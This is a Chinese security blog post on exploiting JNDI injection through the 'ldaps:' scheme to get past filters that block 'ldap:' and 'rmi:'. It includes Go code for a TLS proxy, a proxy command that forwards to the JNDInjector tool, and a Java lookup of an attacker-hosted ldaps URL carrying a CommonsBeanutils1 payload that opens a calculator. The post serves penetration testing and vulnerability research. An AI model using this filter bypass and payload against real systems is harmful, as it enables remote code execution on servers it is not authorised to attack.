如何巧妙构建“LDAPS”服务器利用JNDI注入

前段时间看到群友问了这样一个问题：

ldap:和rmi:关键字被拦截了，是否还可以进行JNDI注入。方法很简单，就是使用ldaps，但后来发现很多人并不知道怎么搭建LDAPS服务器，正好CoNote里有这个功能，写篇简单的文章讲讲。

0x01 LDAPs是什么

在Java JNDI注入的过程中，用户传入一个URL，Java会根据URL的scheme来判断具体使用哪个包来处理，这些包的位置在com.sun.jndi.url.*中：

可见，这里除了我们常见的rmi、ldap等，还有一个ldaps，我们看下com.sun.jndi.url.ldaps.ldapsURLContextFactory的代码：

package com.sun.jndi.url.ldaps;

import com.sun.jndi.url.ldap.*;

/**
 * An LDAP URL context factory that creates secure LDAP contexts (using SSL).
 *
 * @author Vincent Ryan
 */

final public class ldapsURLContextFactory extends ldapURLContextFactory {
}

代码比我的钱包还干净，可见ldap和ldaps实际都由com.sun.jndi.url.ldap.ldapURLContextFactory来处理。

这时就不得不说到rfc4510（其中包含rfc4511到rfc4519等多个RFC）了，这一系列RFC中对于LDAP定义了两种安全传输的方式：

Opportunistic TLS
LDAPS (LDAP over SSL/TLS)

Opportunistic TLS，中文描述为“机会性TLS加密”，意思就是在普通明文通信过程中找“机会”通过某种方式将连接升级成TLS通信。这个概念不止在LDAP中存在，在很多其他协议里也能看到它的身影，最常见的就是SMTP中的STARTTLS命令。

SMTP通信时，客户端与服务端在标准端口（默认为25）上建立 TCP 连接，并且客户端会发送STARTTLS命令告诉服务端开始TLS握手，然后就是常规的TLS握手过程，握手完成后，二者就开始加密通信。

LDAP协议也支持Opportunistic TLS，客户端在原始的通信中也可以通过“StartTLS”开启TLS握手过程。

相比于Opportunistic TLS，LDAPS (LDAP over SSL/TLS)的通信过程就简单很多，LDAPS实际上就是将普通的LDAP协议通信过程包裹一层TLS，客户端在第一次连接服务端口时就需要开始TLS握手。

LDAP和LDAPS的关系可以类比为HTTP和HTTPS，在Java的JNDI中，ldaps通信过程就是使用“LDAPS (LDAP over SSL/TLS)”来实现的。

0x02 CoNote中使用ldaps探测JNDI注入漏洞

CoNote作为一个多功能信息安全测试套件，用于让我们在安全测试、代码审计、Bug Bounty的过程中更方便地确认漏洞的存在，并快速构建复现漏洞的POC。

CoNote中就包含ldap日志的功能，除了支持普通的ldap协议外，也同时支持ldaps。

简单演示一下在CoNote中，如何使用ldaps来探测目标是否存在JNDI注入漏洞。首先，我们在Dashboard中生成或绑定自定义域名，然后在LDAP日志页面，就可以看到探测漏洞所使用的ldaps URL：

复制任意一个URL，填入下面这个简单的Java类中跑一下即可成功收到LDAP日志：

import javax.naming.Context;
import javax.naming.InitialContext;

public class Sample {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldaps://[domain]:636/[domain]/ldaps");
    }
}

这个小demo对于Java的版本是没有限制的。我昨天也在『代码审计』星球里说过了这个问题：

说到RMI日志和LDAP日志，当时做这两个功能的时候有CoNote的用户就问我，高版本Java是不是用不上了？

但实际上检测漏洞是不受Java版本影响的（至少到Java 17是这样的），如果CoNote能接收到RMI请求或者LDAP请求，说明存在JNDI注入的问题。至于后续是否可以执行命令，是否需要找利用链，这个就取决于Java版本了。

探测JNDI注入对Java版本没有要求，对于CoNote来说，只是探测漏洞是否存在，做到这一步也就够了。

0x03 “编写”LDAPs服务器

那么对于redteam来说，只检测JNDI注入存在当然是不够的，如何才能建立一个恶意ldaps服务器并利用漏洞呢？很多师傅也提出过这个问题：

其实部分人就钻牛角尖了，我们完全不需要自己编写ldaps服务端，网上有很多现成的JNDI注入利用工具，比如我很喜欢@rebeyond 的JNDInjector，选择好利用链与Payload，就可以生成一个ldap协议的恶意URL：

当然，这个工具并不支持ldaps，但我们完全可以编写一个TLS反向代理作为中间件，将ldaps请求代理转发给JNDInjector来实现我们的需求。

我曾经在《用原生socket发送HTTP数据包》这篇文章里介绍了如何使用Python发送原生socket数据包，文中提到了HTTPS，其发送原生HTTPS数据包的方法就是使用TLS将普通TCP包裹一层。

对于LDAPS场景来说完全一样，首先使用tls.LoadX509KeyPair加载TLS使用的证书和私钥，并使用tls.Listen创建一个TCP over TLS服务器：

cert, err := tls.LoadX509KeyPair(certPath, keyPath)
if err != nil {
    log.Fatalf(err.Error())
}
config := &tls.Config{Certificates: []tls.Certificate{cert}}

listener, err := tls.Listen("tcp", localAddr, config)
if err != nil {
    log.Fatalf(err.Error())
}
defer listener.Close()

然后使用一个for循环接收请求，每当有新的连接到来时，调用handleConnection()处理：

for {
    conn, err := listener.Accept()
    if err != nil {
        log.Printf(err.Error())
        continue
    }

    log.Println("new connection from", conn.RemoteAddr())
    go handleConnection(conn, remoteAddr)
}

handleConnection中的内容就是将原始的输入流，使用io.Copy转发给上游TCP服务；将上游TCP返回流，转发给原始的连接：

func handleConnection(src net.Conn, remoteAddr string) {
    defer src.Close()

    dest, err := net.Dial("tcp", remoteAddr)
    if err != nil {
        log.Printf(err.Error())
        return
    }
    defer dest.Close()

    go io.Copy(dest, src)
    io.Copy(src, dest)
}

这就实现了一个简单的TLS端口转发的过程，我将这段代码开源在Github上：https://github.com/phith0n/tls_proxy。

0x04 使用tls_proxy+JNDInjector利用漏洞

最后，看看整个漏洞的利用过程是怎样的。

首先，在JNDInjector中选择一个利用链和要执行的命令并启动服务，我这里选择CommonsBeanutils1。如果你的Java版本在8u191以下，也可以不使用任何反序列化利用链。

我将JNDInjector启动的ldap服务监听在1389端口上，然后使用tls_proxy代理转发：

./tproxy -l 127.0.0.1:1636 -r 127.0.0.1:1389 -c cert.pem -k key.pem

注意，这里的cert.pem和key.pem需要是一个合法的TLS证书，我们直接使用certbot或者ssl for free这种在线服务上申请即可。

tls代理启动后，其监听在1636端口，然后我们改下上面那个Java demo（需要安装下CommonsBeanutils依赖），指向1636端口：

import javax.naming.Context;
import javax.naming.InitialContext;

public class Sample {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldaps://[domain]:1636/EpvahjVjjH/CommonsBeanutils1/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9");
    }
}

执行成功弹出计算器：

在JNDInjector中，也收到了漏洞利用成功的日志：